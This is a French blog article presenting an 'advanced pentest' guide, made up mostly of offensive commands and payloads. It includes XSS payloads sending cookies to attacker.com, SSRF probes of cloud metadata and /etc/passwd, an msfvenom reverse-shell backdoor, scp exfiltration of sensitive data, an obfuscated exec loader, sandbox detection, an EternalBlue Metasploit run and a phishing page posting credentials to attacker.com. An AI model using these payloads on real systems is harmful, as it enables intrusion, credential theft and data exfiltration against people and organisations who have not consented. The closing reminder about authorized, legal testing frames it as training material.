Techniques Avancées de Pentest : Guide Complet pour les Experts

La cybersécurité offensive est un domaine en constante évolution. Dans ce guide complet, nous allons explorer les techniques avancées utilisées par les experts en pentest.

1. Reconnaissance Avancée

OSINT (Open Source Intelligence)

# Utilisation de Maltego
maltego

# Recherche de sous-domaines
subfinder -d example.com
amass enum -passive -d example.com

# Recherche d'emails
theHarvester -d example.com -b all

Scanning de Réseau

# Scan initial avec Nmap
nmap -sC -sV -p- -T4 target.com

# Scan furtif
nmap -sS -sV -p- -T2 --randomize-hosts target.com

# Détection de WAF
wafw00f target.com

2. Exploitation Web Avancée

Injection SQL

# Détection de vulnérabilités
sqlmap -u "http://target.com/page.php?id=1" --risk=2 --level=3

# Exploitation
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables

XSS (Cross-Site Scripting)

# Payloads avancés
<script>fetch('http://attacker.com?cookie='+document.cookie)</script>
<img src=x onerror="fetch('http://attacker.com?cookie='+document.cookie)">

SSRF (Server-Side Request Forgery)

# Détection
http://target.com/api?url=http://localhost
http://target.com/api?url=file:///etc/passwd

# Exploitation
http://target.com/api?url=http://169.254.169.254/latest/meta-data/

3. Exploitation Système

Élévation de Privilèges

# Recherche de vulnérabilités
linpeas.sh
linux-exploit-suggester.sh

# Exploitation de SUID
find / -perm -4000 -type f 2>/dev/null

Persistance

# Création d'un backdoor
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=attacker.com LPORT=4444 -f elf > backdoor

# Installation
chmod +x backdoor
./backdoor

4. Post-Exploitation

Exfiltration de Données

# Compression et chiffrement
tar czf data.tar.gz /sensitive/data
gpg --encrypt data.tar.gz

# Transfert sécurisé
scp data.tar.gz.gpg user@attacker.com:/data/

Pivotage Réseau

# Création d'un tunnel SSH
ssh -D 1080 user@target.com

# Utilisation avec proxychains
proxychains nmap -sT -p- internal.network

5. Techniques de Furtivité

Obfuscation de Code

# Exemple avec Python
import base64
import zlib

code = """
def malicious_function():
    print("Hello World")
"""

encoded = base64.b64encode(zlib.compress(code.encode()))
exec(zlib.decompress(base64.b64decode(encoded)))

Anti-Détection

# Modification des signatures
strings -a binary | grep -i "malicious"
# Modification des chaînes de caractères

# Détection de sandbox
if [ -f "/proc/self/cgroup" ]; then
    grep -q "docker" /proc/self/cgroup
fi

6. Outils Modernes

C2 (Command & Control)

# Installation de Cobalt Strike
./cobaltstrike

# Configuration du listener
beacon> help
beacon> sleep 60
beacon> jobs

Frameworks d’Exploitation

# Metasploit Framework
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS target.com
exploit

# Empire
./empire
listeners
uselistener http
execute

Phishing Avancé

<!-- Template de phishing -->
<!DOCTYPE html>
<html>
<head>
    <title>Login Required</title>
    <style>
        body { font-family: Arial; }
        .login-form { 
            width: 300px;
            margin: 100px auto;
            padding: 20px;
            border: 1px solid #ccc;
        }
    </style>
</head>
<body>
    <div class="login-form">
        <h2>Please Login</h2>
        <form action="http://attacker.com/collect" method="POST">
            <input type="text" name="username" placeholder="Username">
            <input type="password" name="password" placeholder="Password">
            <button type="submit">Login</button>
        </form>
    </div>
</body>
</html>

Ingénierie Sociale

# Création d'un faux site
setoolkit
# Sélection de l'option "Website Attack Vectors"
# Création d'un clone de site

8. Reporting et Documentation

Génération de Rapports

# Utilisation de Dradis
dradis

# Export de résultats
nmap -oX results.xml target.com
xsltproc results.xml -o report.html

Documentation des Vulnérabilités

# Template de rapport

## Vulnérabilité : [Titre]
- **Description** : [Description détaillée]
- **Impact** : [Impact sur la sécurité]
- **CVSS** : [Score CVSS]
- **POC** : [Preuve de concept]
- **Remédiation** : [Solutions proposées]

Conclusion

La cybersécurité offensive est un domaine complexe qui nécessite :

Une connaissance approfondie des systèmes
Une méthodologie rigoureuse
Des outils modernes et efficaces
Une documentation précise
Une approche éthique et légale

N’oubliez pas que le pentest doit toujours être :

Autorisé par écrit
Documenté
Réalisé dans un cadre légal
Respectueux des bonnes pratiques

À propos de InSkillCoach

Expert en formation et technologies

Coach spécialisé dans les technologies avancées et l'IA, porté par GNeurone Inc.

GitHub Voir tous les articles

Certifications:

AWS Certified Solutions Architect – Professional
Certifications Google Cloud
Microsoft Certified: DevOps Engineer Expert
Certified Kubernetes Administrator (CKA)
CompTIA Security+

1.5k

286